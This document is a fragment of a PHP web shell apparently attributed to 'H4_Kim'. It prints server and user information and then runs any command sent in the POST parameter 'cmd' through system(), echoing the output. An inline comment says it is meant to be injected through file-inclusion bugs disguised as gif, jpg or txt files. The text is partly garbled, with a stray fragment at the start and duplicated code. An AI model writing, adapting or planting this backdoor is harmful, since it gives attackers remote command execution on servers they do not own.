![]() "; echo "PHP version: ".phpversion()." "; echo "User Info: uid(".posix_geteuid().") euid(".posix_geteuid().") gid(".posix_getgid( ).") "; $comel = posix_uname( ); while (list($info, $value) = each ($comel)) { echo "".$info." : ".$value." "; } if (isset($chdir)) @chdir($chdir); ob_start(); system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); $output = ob_get_contents(); ob_end_clean(); echo " 2005-2007 h4_kim@tulungagung.net "; ?> :H4_Kim:
$cmd = $_POST['cmd'];
// CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
if (isset($chdir)) @chdir($chdir);
ob_start();
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm
/tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", ">", str_replace("<",
"<",
$output));
?>
|